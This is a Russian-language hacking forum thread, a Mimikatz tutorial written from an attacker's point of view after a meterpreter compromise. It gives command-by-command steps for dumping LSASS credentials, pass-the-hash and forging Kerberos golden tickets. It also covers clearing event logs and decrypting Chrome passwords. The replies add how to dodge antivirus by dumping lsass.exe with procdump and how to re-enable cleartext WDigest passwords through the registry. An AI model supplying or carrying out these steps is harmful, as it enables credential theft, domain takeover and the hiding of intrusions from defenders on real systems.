Ох уж этот Mimikatz

SooLFaa

SooLFaa

Администратор
15.07.2016
849
1 410
Ну что братцы, пора звать кавалерию?! И снова я приветствую Вас. Сегодня мы поговорим о небольшом в каком - то смысле, но очень мощном постэксплуатационном фреймворке Mimikatz.

Cсылочка на вики:
Ссылочка где ещё почитать:
Ссылочка на гит:
Ссылочка на метасплоит с мимикатзом:
Ну а я же в вкратце освещу всё, что написано в сие ссылках и добавлю от себя.
Итак, поехали, мы захватили компьютер жертвы с помощью метерпретера и теперь надо пробросить mimikatz. Для этого выполняем команду:
Код:
load mimikatz
В результате получаем следующее...
upload_2017-4-2_21-37-46.png

Открываем help и погнали
upload_2017-4-2_21-38-39.png

Видим, что нам доступны некоторые опции (на самом деле это опции из модуля sekurlsa).
Для того чтобы узреть все модули мимикатза, необходимо выполнить команду с любым несуществующим модулем.
Код:
mimikatz_command -f codeby::
upload_2017-4-2_21-39-32.png

Чтобы увидеть опции любого модуля выполним же следующую команду(Напоминаю, что пока мы работаем в meterpreter console):
Код:
mimikatz_command -f crypto::
В результате получим список опций этого модуля.
upload_2017-4-2_21-40-41.png

Воспользуемся первой из опции и взглянем какие криптопровайдеры установлены на моей машине.
upload_2017-4-2_21-40-54.png

На этом я закончу смотреть на мимикатз через метерпретер и воспользуемся его бинарной сборкой для удобства описания модулей. И практики. Для этого я накатил windows server 2012 с установленными Active Directory и Цербером. Об этом позже, а пока вспомним какие модули есть.

Модули

– достаточно старый модуль, позволяет ресерчить CryptoApi провайдеры, но сегодня это уже мало что дает.
1) crypto:: providers – вывести список всех криптопровайдеров
2) crypto::stores – вывести все логические хранилища сертификатов в системном окружении
upload_2017-4-2_21-47-16.png
3) crypto::certificates – перечисляет сертификаты и ключи, так же может их экспортировать
upload_2017-4-2_21-51-56.png
4) crypto::keys – перечисляет установленные ключи
upload_2017-4-2_21-55-24.png
5) crypto::hash – функция говорит сама за себя. Получаем хешики пользователя
upload_2017-4-2_21-55-32.png
6) crypto::capi – делает неэкспортируемые ключи – экспортируемыми
upload_2017-4-2_21-55-38.png

модуль для получения определенных прав и повышение привилегий
1) privilege::debug - если у вас не работают некоторые модули выполните эту опцию. Позволяет внедряться в чужие процессы и производить их отладки.
2) privilege::driver – Получить привилегии на загрузку драйверов.
3) privilege::security – Получить привилегии на изменение политики безопасности.
4) privilege::backup – Получаем права на архивирование файлов
5) privilege::restore – Получаем права на восстановление бэкапов
6) privilege::sysenv – Получаем права на управление переменными окружения
upload_2017-4-2_21-57-11.png

– модуль для хищения паролей, важное условие, модуль работает только от админа и перед ним получить права на debug.
1) sekurlsa::logonpasswords – получить хеши залогиненных пользователей
upload_2017-4-2_22-6-40.png
2) sekurlsa::wdigest – получить хеши залогиненных пользователей (в открытом виде из wdigest)
upload_2017-4-2_22-6-56.png
3) sekurlsa::msv – тоже самое + CredentionalKeys
upload_2017-4-2_22-7-6.png
4) sekurlsa::tspkg – сервис для управления фрагментацией реестра, в том числе через него можно получить креды.
upload_2017-4-2_22-7-22.png
5) sekurlsa::livessp – ещё одна служба, которая позволяет получать креды в открытом виде.
6) sekurlsa:: process – переключиться в LSASS, чтобы снифать пассы.
7) sekurlsa:: pth - – запустить процесс от имени конкретного пользователя, используя его хэш а не пароль, по дефолту cmd.
Пример: sekurlsa:: pth /user:Administrator /domain: DS /ntlm:5fe4a3f59c00a98f2db8100100eda220
upload_2017-4-2_22-7-48.png
8) sekurlsa::tickets – получить все билеты Цербера
upload_2017-4-2_22-7-57.png
9) sekurlsa::krbtgt – получить все TGT билеты в текущей сессии
upload_2017-4-2_22-8-5.png
10) sekurlsa::dpapisystem – Получить системный расшифрованный ключ
upload_2017-4-2_22-8-13.png

– модуль для работы с криптопротоколом DPAPI, идея в том что текст может быть расшифрован только на машине на котором он был зашифрован на основе BLOB объекта и мастер ключа.
1) dpapi::blob – непосредственно BLOB объект позволяет шифровать и дешифровать с помощью алгоритма DPAPI
2) dpapi::chrome – расшифровать пароли GOOGLE CHROME

– модуль для очистки журнала событий
1) event::drop – остановить сервис легирования
2) event::clear - просто очистить логи
upload_2017-4-2_22-18-50.png

-
модуль для работы с Цербером, а вот тут мы поговорим по подробнее……

Протокол Kerberos – я бы сказал это фундаментальный протокол безопасной аутентификации, который централизовано хранит себе сессионные данные. Протокол сей является фундаментом для многих Single-Sign-On (Один раз войди во все приложения сразу).

Ticket’ы (билеты) – в основе Цербера лежит понятие билетов. Существует некий центр распределения ключей, который был назван KDC(Key Distribution Center)

Когда некто логинится, то при успешном вводе пароля он получает некоторый первичный билет TGT (Ticket Granting Ticket), билет - это зашифрованный пакет данных. Этот билет как вход на крутую хакерскую тусовку, где куча интерактивов и прочего, но когда мы подходим к конкретному стенду, на основании одного только TGT, мы не можем пройти и поэтому мы запрашиваем ещё один билет TGS – и только тогда проходим. Можно придумать аналог с хекерским форумом, для доступа на который мы вводим логин и пароль и попадаем на публичный форум, а вот, чтобы попасть в приватные группы, надо обладать еще какими - то привилегиями.

А что же такое Golden Ticket(Золотой билет)?! Судя по названию это некий универсальный билет, ключ от всех замков. Но на самом деле это билет для предоставления билетов, похитив его, мы получаем власть над всеми билетами.

Ну а теперь, когда мы знаем о Цербере всё, что надо. Посмотрим на то, что нам предлагает мимикатз...

1)
kerberos:: ptt Pass-The-Ticket Внедрить один или несколько билетов TGT или TGS в текущую сессию
Сгенерируем новый билет с помощью golden тикета и положим его в файл.
Код:
/kerberos::golden /user:Administrator /domain:<Domain> /sid:<SID> /krbtgt:<TGT билет админа> остальные опции означают записи в группы можно оставить без измений.
upload_2017-4-2_22-25-52.png

upload_2017-4-2_22-25-58.png
1) kerberos::list Список всех билетов в текущей сессии
upload_2017-4-2_22-26-10.png
1) kerberos::tgt – Все ТГТ билеты в стекущей сессии
upload_2017-4-2_22-26-16.png
1) kerberos: purge – удалить все билеты с текущей сессии
upload_2017-4-2_22-26-22.png

upload_2017-4-2_22-26-27.png
1) kerberos::golden – Реализация атаки с помощью golden ticket где /user – имя админа /sid SSID домена (можно узнать как whoami /user и без последней части цифр будет sid домена последние 3-4 цифры это номер юзера в домене)
upload_2017-4-2_22-26-49.png
1) kerberos::hash – получить хэшик текущего пользователя залогиненого через Цербера
upload_2017-4-2_22-26-56.png

- Показать флажки в игре сапёр. Абсолютно бесполезная опция. Думаю добавлена для фана;
 

Вложения

Последнее редактирование:
SooLFaa

SooLFaa

Администратор
15.07.2016
849
1 410
общие модули
1) misc::cmd – вызвать cmd окошко под текущим юзвером
2) misc::regedit – вызвать менеджер редактирования реестра
3) misc::taskmgr – вызвать таск менеджер он же «Диспетчер задач»
4) misc::detours – чекаем процессы
upload_2017-4-2_22-33-2.png
5) misc::memssp инжектимся в память и перехватываем хешики пользователей
upload_2017-4-2_22-35-39.png
6) misc::compressme – сжимает текущий файл mimikatz.exe
upload_2017-4-2_22-36-19.png

модуль для работы с локальными группами
1) net::user – список пользователей в системе
upload_2017-4-2_22-40-17.png
3) net::group – Какой пользователь в какой групповой политике
upload_2017-4-2_22-40-26.png
4) net::wsession – список последних сессий
upload_2017-4-2_22-40-34.png
2) net::tod – время на удаленной тачке
upload_2017-4-2_22-40-40.png

модули для работы с пользовательским id
1) sid::lookup – узнать кому принадлежит sid
upload_2017-4-2_22-41-7.png

- модуль по работе с токенами пользователей
1) token::whoami – сведения о текущем пользователе
upload_2017-4-2_22-44-0.png
2) token::list – список выданных токенов
upload_2017-4-2_22-44-20.png
1) token::elevate – делегировать token
1) token::revert – откатить токен(разлогин)

Ну и на последок видосик реализации атаки Golden Ticket
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 022
Годная статья.) Когда вернусь,дополню возможно парочкой статей в стиле powershell for hackers)
 
  • Нравится
Реакции: SooLFaa
E

Elektrolife

Well-known member
21.10.2016
216
33
Что то из этого работает под правами пользователя ? Или всё же первоочередная задача - повышение привилегий в системе ?
 
SooLFaa

SooLFaa

Администратор
15.07.2016
849
1 410
Что то из этого работает под правами пользователя ? Или всё же первоочередная задача - повышение привилегий в системе ?
Я уточнял какие модули работают с повышенными правами. Если утчонений нет значит работает без прав.
 
I

Inject0r

Интересная статья, в хакере в одном из постов упоминался этот инструмент, там говорилось о том, что если антивирусник блочит хакерское ПО, то можно сделать дамп памяти процесса lsass.exe утилитой procdump и запустить Mimikatz уже на своем компьютере. Не в курсе как это сделать? :) Я вот не понял, как утилите скормить дамп.
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 022
Интересная статья, в хакере в одном из постов упоминался этот инструмент, там говорилось о том, что если антивирусник блочит хакерское ПО, то можно сделать дамп памяти процесса lsass.exe утилитой procdump и запустить Mimikatz уже на своем компьютере. Не в курсе как это сделать? :) Я вот не понял, как утилите скормить дамп.
Обходиться не сложно. Для того что бы сделать дамп этого файла, нужны привилегии системы.Да и если я не ошибаюсь , то утилита procdump разпознаеться большинством АВ как вредоносное ПО...
 
P

p1nk_pwny

если я не ошибаюсь , то утилита procdump разпознаеться большинством АВ как вредоносное ПО.
. Сталкивался с таким кейсом все впорядке. Более того, сам procdump скачивается с сайта .
Утилиты Русиновича, вообще пользуются индульгенцией у анитивирусов.

Не в курсе как это сделать?
Выполнить procdump на целевой системе:

procdump -ma --accepteula lsass.exe yourdump (accepteula обязательно, иначе вылезет окно согласия с пользовательским соглашением, а это нам не к чему)
Далее этот дамп надо будет стянуть к себе на машину и подгрузить в mimikatz с помощью команды
sekurlsa::Minidump yourdump.dmp
и наконец
sekurlsa::logonPasswords


[doublepost=1493166128,1493165922][/doublepost]И небольшое, но важное дополнение к самой статье.

После обновлений KB2871997 KB2928120 LSASS по умолчанию не хранит пароли в открытом виде а хеширует.
Чтобы устранить это досадное недоразумение необходимо прописать в ключе реестра

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest значение 1

Подробнее

Далее необходимо устроить релогин пользователя и все вернется на круги своя.
 
Последнее редактирование модератором:
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 022
После обновлений KB2871997 KB2928120 LSASS по умолчанию не хранит пароли в открытом виде а хеширует.
Чтобы устранить это досадное недоразумение необходимо прописать в ключе реестра

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest значение 1

Подробнее

Далее необходимо устроить релогин пользователя и все вернется на круги своя.
Я об этом писал в своей статье

А за исправления спасибо.)
 
Мы в соцсетях: